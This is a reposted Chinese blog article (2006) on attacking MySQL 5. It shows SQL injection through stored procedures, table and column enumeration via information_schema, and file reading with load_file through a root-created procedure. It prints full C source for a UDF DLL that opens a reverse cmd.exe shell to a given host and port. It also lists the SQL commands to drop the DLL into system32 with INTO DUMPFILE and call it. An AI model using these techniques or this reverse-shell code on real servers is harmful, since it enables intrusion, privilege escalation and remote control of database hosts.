本站首页    管理页面    写新日志    退出


«November 2025»
1
2345678
9101112131415
16171819202122
23242526272829
30


公告
 本博客在此声明所有文章均为转摘,只做资料收集使用。

我的分类(专题)

日志更新

最新评论

留言板

链接

Blog信息
blog名称:
日志总数:1304
评论数量:2242
留言数量:5
访问次数:7649098
建立时间:2006年5月29日




[MySQL]如何黑MySQL5数据库?
软件技术

lhwork 发表于 2006/7/11 10:10:14

Hacking in Mysql5Author:SuperHei_[At]_ph4nt0m.orgBlog:http://superhei.blogbus.com/Team:http://www.ph4nt0m.orgData: 2006-01-29     Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新 的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢? 下面我给大家介绍下mysql5在安全方面的特点:一、password authenticationmysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash:mysql> select password('mypass');+-------------------------------------------+| password('mypass')                        |+-------------------------------------------+| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |+-------------------------------------------+1 row in set (0.00 sec)在mysql4.1以前的password hashes是基于16位md5:mysql> SELECT PASSWORD('mypass');+--------------------+| PASSWORD('mypass') |+--------------------+| 6f8c114b58f2ce9e   |+--------------------+当 使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():mysql> select old_password('mypass');+------------------------+| old_password('mypass') |+------------------------+| 6f8c114b58f2ce9e       |+------------------------+1 row in set (0.09 sec)二、数据字典(information_schema)和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schemamysql> use information_schema;Database changedmysql> show tables;+---------------------------------------+| Tables_in_information_schema          |+---------------------------------------+| CHARACTER_SETS                        || COLLATIONS                            || COLLATION_CHARACTER_SET_APPLICABILITY || COLUMNS                               || COLUMN_PRIVILEGES                     || KEY_COLUMN_USAGE                      || ROUTINES                              || SCHEMATA                              || SCHEMA_PRIVILEGES                     || STATISTICS                            || TABLES                                || TABLE_CONSTRAINTS                     || TABLE_PRIVILEGES                      || TRIGGERS                              || VIEWS                                 || USER_PRIVILEGES                       |+---------------------------------------+16 rows in set (0.17 sec)在这个数据库里我们可以得到很多信息,包括当前用户权限:mysql> select * from information_schema.USER_PRIVILEGES;+-----------+---------------+----------------+--------------+| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |+-----------+---------------+----------------+--------------+| 'KK1'@'%' | NULL          | USAGE          | NO           |+-----------+---------------+----------------+--------------+1 row in set (0.02 sec)当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATISTICS;+--------------+------------+-------------+| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |+--------------+------------+-------------+| in           | article    | articleid   || in           | user       | userid      |+--------------+------------+-------------+2 rows in set (0.02 sec)还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]三、存储过程(Stored Procedures)'存储过程'的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。D:\mysql5\bin>mysql -uroot -pEnter password: ******Welcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 4 to server version: 5.0.18Type 'help;' or '\h' for help. Type '\c' to clear the buffer.mysql> use inDatabase changedmysql> delimiter //mysql> CREATE PROCEDURE test(id INT)    -> BEGIN    ->   SELECT * FROM in.USER WHERE USERID=ID;    -> END//Query OK, 0 rows affected (0.08 sec)mysql> delimiter ;mysql> call test(1);+--------+----------+----------+| userid | username | password |+--------+----------+----------+|      1 | angel    | mypass   |+--------+----------+----------+1 row in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)上面我们使用root在数据库in里创建了一个名为test的存储过程。a、SQL Injectionmysql> call test(1 and 1=1);+--------+----------+----------+| userid | username | password |+--------+----------+----------+|      1 | angel    | mypass   |+--------+----------+----------+1 row in set (0.00 sec)Query OK, 0 rows affected (0.01 sec)mysql> call test(1 and 1=2);Empty set (0.00 sec)Query OK, 0 rows affected (0.00 sec)b、跨权限存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击:mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE    -> ON `IN`.*    -> TO 'KK1'@'%'    -> IDENTIFIED BY 'OBSCURE';Query OK, 0 rows affected (0.03 sec)上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:D:\mysql5\bin>mysql -uKK1 -pEnter password: ******Welcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 5 to server version: 5.0.18Type 'help;' or '\h' for help. Type '\c' to clear the buffer.mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from information_schema.ROUTINES;+----------------+--------------+----------------+--------------------+| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |+----------------+--------------+----------------+--------------------+| in             | test         | root@localhost |                    || in             | tt           | root@localhost |                    |+----------------+--------------+----------------+--------------------+2 rows in set (0.01 sec)我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);+--------+----------+----------+| userid | username | password |+--------+----------+----------+|      1 | angel    | mypass   |+--------+----------+----------+1 row in set (0.00 sec)Query OK, 0 rows affected (0.01 sec)mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);Empty set (0.00 sec)Query OK, 0 rows affected (0.00 sec)没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。四、User-Defined Function [ps:下面都是基于win系统]mysql5的udf在格式和安全方面做一些新的改变:1、格式要求更加严格[xxx_init()初始化函数]对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can't find function 'xxx_init' in library的错误,如:mysql> create function ExitProcess returns integer soname 'kernel32';ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用:/******************************************************************************* * File:   MySQL_Shell.cpp * Author: 云舒(wustyunshu at hotmail dot com) * Date:    2005-12-12 *******************************************************************************/ #include <stdio.h> #include <winsock2.h> #include <windows.h> #define MAKE_DLL                /* Build dll here */ #include "MySQL_Shell.h" #pragma comment( lib, "ws2_32" ) #define BUFFER_SIZE    1024 /////////////////////////////////////////////////////////////////////////////// //函数原型 /////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *, char * ); void LogMsg( char * ); /////////////////////////////////////////////////////////////////////////////// //MySQL模块初始化函数 /////////////////////////////////////////////////////////////////////////////// LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) {     if ( args->arg_count != 2 )     {         strcpy( message, "Shell() requires two arguments" );         return 1;     }     if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )     {         strcpy( message, "Shell() requires two string arguent" );         return 1;     }     return 0; } /////////////////////////////////////////////////////////////////////////////// //MySQL模块主功能函数,反向连接提供shell /////////////////////////////////////////////////////////////////////////////// LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) {     SOCKET            sock;     SOCKADDR_IN        sin;     int                ret;          // Create socket     sock = socket( AF_INET, SOCK_STREAM, 0 );     if ( sock == INVALID_SOCKET )     {         strcpy( error, "Create socket error" );         return -1;     }     sin.sin_family = AF_INET;     sin.sin_port = htons( atoi(args->args[1]) );     sin.sin_addr.s_addr = inet_addr( args->args[0] );          //connect to remote server     ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );     if( ret == SOCKET_ERROR )     {         strcpy( error, "Connect error" );         return -1;     }     SECURITY_ATTRIBUTES    sa;          sa.nLength = sizeof( sa );     sa.lpSecurityDescriptor = 0;     sa.bInheritHandle = TRUE;          HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;     ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );     ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );              STARTUPINFO    si;     ZeroMemory( &si, sizeof(si) );     GetStartupInfo( &si );          si.cb = sizeof( si );     si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;     si.wShowWindow = SW_HIDE;     si.hStdInput = hReadPipe2;     si.hStdOutput = si.hStdError = hWritePipe1;          PROCESS_INFORMATION    processInfo;          char    cmdLine[] = "cmd.exe";     ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );     ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);          char            buff[BUFFER_SIZE] = { 0 };                 unsigned long    bytesRead = 0;     int             i = 0;          while( TRUE )     {         memset( buff, 0, BUFFER_SIZE );                    ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );                      for(i = 0; i < 5 && bytesRead == 0; i++)         {             Sleep(100);             ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );         }                    if( bytesRead )         {                ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );                if( !ret ) break;                ret = send( sock, buff, bytesRead, 0 );                if( ret <= 0 ) break;           }         else         {                bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );                                if( bytesRead <= 0 ) break;                          if( StartWith( buff , "exit" ) == TRUE ) break;                ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );                if( !ret ) break;            }     }          TerminateProcess( processInfo.hProcess, 0 );     CloseHandle( hReadPipe1 );     CloseHandle( hReadPipe2 );     CloseHandle( hWritePipe1 );     CloseHandle( hWritePipe2 );          closesocket( sock );     return 0; }     /////////////////////////////////////////////////////////////////////////////// //判断字符串是否以另一个字符串开头 /////////////////////////////////////////////////////////////////////////////// BOOL StartWith( char *buf1, char *buf2 ) {     int len = strlen(buf2);     if( memcmp( buf1,buf2,len ) == 0 )     {         return TRUE;     }     return FALSE; } /////////////////////////////////////////////////////////////////////////////// //记录日志信息,调试用 /////////////////////////////////////////////////////////////////////////////// void LogMsg( char *msg ) {     FILE    *fp;     fp = fopen( "C:\mysql.txt", "a+" );     fputs( msg, fp );     fclose( fp ); } /******************************************************************************* * File:   MySQL_Shell.h * Author: 云舒(wustyunshu at hotmail dot com) * Date:    2005-12-12 *******************************************************************************/ #ifdef MAKE_DLL     #define LIB extern "C" __declspec(dllexport) #else     #define LIB extern "C" __declspec(dllimport) #endif #define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */ typedef char my_bool; enum Item_result {     STRING_RESULT,REAL_RESULT,INT_RESULT }; typedef struct st_udf_args {     unsigned int        arg_count;           /* Number of arguments */     enum Item_result    *arg_type;           /* Pointer to item_results */     char                **args;                 /* Pointer to argument */     unsigned long        *lengths;            /* Length of string arguments */     char                *maybe_null;         /* Set to 1 for all maybe_null args */ } UDF_ARGS; typedef struct st_udf_init {     my_bool                maybe_null;          /* 1 if function can return NULL */     unsigned int        decimals;            /* for real functions */     unsigned int        max_length;          /* For string functions */     char                *ptr;                /* free pointer for function data */     char                const_item;          /* 0 if result is independent of arguments */ } UDF_INIT; LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * ); 2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下:mysql> use mysql;Database changedmysql> create table heige(line blob);Query OK, 0 rows affected (0.50 sec)mysql> insert into heige values(load_file('c:/udf.dll'));Query OK, 1 row affected (0.08 sec)mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';Query OK, 1 row affected (0.18 sec)mysql> create function shell returns integer soname 'heige.dll';Query OK, 0 rows affected (0.07 sec)mysql> select * from mysql.func;+-------+-----+-----------+----------+| name  | ret | dl        | type     |+-------+-----+-----------+----------+| shell |   2 | heige.dll | function |+-------+-----+-----------+----------+1 row in set (0.00 sec)mysql> select shell('127.0.0.1','1234');+---------------------------+| shell('127.0.0.1','1234') |+---------------------------+|                      NULL |+---------------------------+1 row in set (0.97 sec)五、参考《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/《Hackproofing MySQL》         http://www.ngssoftware.com/papers/HackproofingMySQL.pdf《给mysql加个自定义函数(windows平台)》http://www.icylife.net/yunshu/show.php?id=244六、感谢感谢云舒、TomyChen、Mix ...所有pst的兄弟们。谢谢阅读!


阅读全文(1763) | 回复(0) | 编辑 | 精华
 



发表评论:
昵称:
密码:
主页:
标题:
验证码:  (不区分大小写,请仔细填写,输错需重写评论内容!)



站点首页 | 联系我们 | 博客注册 | 博客登陆

Sponsored By W3CHINA
W3CHINA Blog 0.8 Processed in 0.754 second(s), page refreshed 144802952 times.
《全国人大常委会关于维护互联网安全的决定》  《计算机信息网络国际联网安全保护管理办法》
苏ICP备05006046号